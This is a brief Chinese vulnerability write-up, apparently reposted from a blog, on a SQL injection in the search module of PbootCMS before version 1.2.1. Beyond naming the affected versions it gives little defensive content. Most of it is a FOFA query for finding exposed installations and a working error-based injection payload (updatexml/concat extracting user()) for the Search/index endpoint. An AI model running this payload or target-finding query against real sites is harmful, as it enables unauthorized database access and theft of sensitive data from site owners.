漏洞描述
i ⭐
PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息
漏洞影响
s ✅
PbootCMS < 1.2.1
空间测绘
d ⭕
FOFA：app="PBOOTCMS"
漏洞复现
- 搜索框页面为
- ✅ Payload为
/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123](http://127.0.0.1/PbootCMS/index.php/Search/index?keyword=123&updatexml(1,concat(0x7e,user(),0x7e),1));%23=123)
我的个人博客
本文转载自: https://blog.csdn.net/qq_35938621/article/details/125765663
版权归原作者 孤桜懶契 所有， 如有侵权，请联系我们删除。
版权归原作者 孤桜懶契 所有， 如有侵权，请联系我们删除。